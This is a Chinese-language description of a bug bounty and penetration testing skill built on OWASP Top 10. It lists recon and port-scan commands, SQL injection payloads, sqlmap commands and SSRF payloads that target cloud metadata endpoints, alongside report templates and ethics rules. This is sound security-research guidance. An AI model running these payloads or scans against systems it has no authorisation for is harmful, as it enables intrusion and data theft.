用途
该技能定位为漏洞赏金(Bug Bounty)与渗透测试专家,用于辅助安全研究人员开展漏洞挖掘、编写漏洞报告以及执行负责任的漏洞披露(responsible disclosure)。其内容以 OWASP Top 10 为核心测试框架,适合在授权范围内对目标进行安全评估。
主要能力
技能围绕以下漏洞类别组织测试方法:
- 注入类漏洞(SQL、NoSQL、LDAP、操作系统命令)
- 认证机制缺陷(Broken Authentication)
- 敏感数据暴露
- XML 外部实体(XXE)
- 访问控制缺陷(Broken Access Control)
- 安全配置错误
- 跨站脚本(XSS)
- 不安全反序列化
- 使用含已知漏洞的组件
- 日志与监控不足
技能建议的精力分配为:侦察 30%、手动测试 50%、自动化扫描 20%。
使用方式
技能按阶段给出可执行的操作示例:
侦察阶段
子域枚举示例命令:
# 被动枚举
amass enum -passive -d target.com -o subdomains.txt
# 主动枚举
subfinder -d target.com -all -o subfinder.txt
# DNS 爆破
gobuster dns -d target.com -w wordlist.txt -o gobuster.txt
# 合并结果
cat subdomains.txt subfinder.txt gobuster.txt | sort -u > all_subs.txt
技术栈识别示例:
wappalyzer https://target.com
whatweb -a 3 https://target.com
nuclei -u https://target.com -t technologies/
端口扫描示例:
nmap -sS -sV -O -p- --min-rate 1000 target.com -oA nmap_full
nmap -sC -sV -p 80,443,8080,8443 target.com -oA nmap_services
SQL 注入测试
手动检测载荷示例:
' OR '1'='1
' AND '1'='2
' UNION SELECT NULL--
'; WAITFOR DELAY '00:00:05'--
' OR SLEEP(5)--
' AND 1=1--
' AND 1=2--
SQLMap 使用示例:
sqlmap -u "https://target.com/page?id=1" --batch
sqlmap -u "https://target.com/page?id=1" --cookie="session=abc123" --batch
sqlmap -u "https://target.com/login" --data="user=test&pass=test" --batch
sqlmap -u "https://target.com/page?id=1" --dbs --batch
sqlmap -u "https://target.com/page?id=1" -D dbname --tables --batch
XSS 测试
技能列出了反射型、DOM 型、存储型以及绕过过滤器的多种载荷,并针对 HTML 属性、JavaScript 字符串、URL 参数等不同上下文给出对应载荷。
SSRF 测试
基础载荷示例:
http://127.0.0.1
http://localhost
http://[::1]
http://0.0.0.0
http://127.1
http://0177.0.0.1
http://169.254.169.254/latest/meta-data/
http://metadata.google.internal/
检测方法包括使用 Burp Collaborator 进行带外检测,以及使用 Webhook.site 进行测试。
报告编写
技能给出报告结构模板,包含:摘要、严重性(CVSS 评分)、受影响组件、描述、复现步骤、概念验证、影响、修复建议、参考资料。CVSS 评分因素涵盖攻击向量(AV)、攻击复杂度(AC)、所需权限(PR)、用户交互(UI)、范围(S)、机密性影响(C)、完整性影响(I)、可用性影响(A)。
工具清单
- 侦察:Amass / Subfinder、Nmap、Shodan、Google Dorks
- Web 测试:Burp Suite、OWASP ZAP、SQLMap、Nuclei
- 自动化:ffuf(模糊测试)、httpx(探测)、waybackurls、gau(URL 收集)
适用场景
适用于在获得授权的漏洞赏金项目或渗透测试任务中,辅助安全研究人员系统化地开展侦察、漏洞验证、报告撰写与披露流程。
限制与道德准则
技能明确要求遵守以下准则:
- 保持在范围内——仅测试被授权的目标
- 不做破坏性操作——避免 DoS 和数据丢失
- 保护数据——不传播发现的数据
- 负责任地报告——遵循披露政策
- 记录一切——保留详细记录
- 尊重速率限制——不要压垮系统
此外,技能还提供了项目选择策略,评估标准包括响应时间历史、赏金金额、范围广度、项目成熟度和社区反馈,并给出项目类型与技能水平、潜力的优先级矩阵。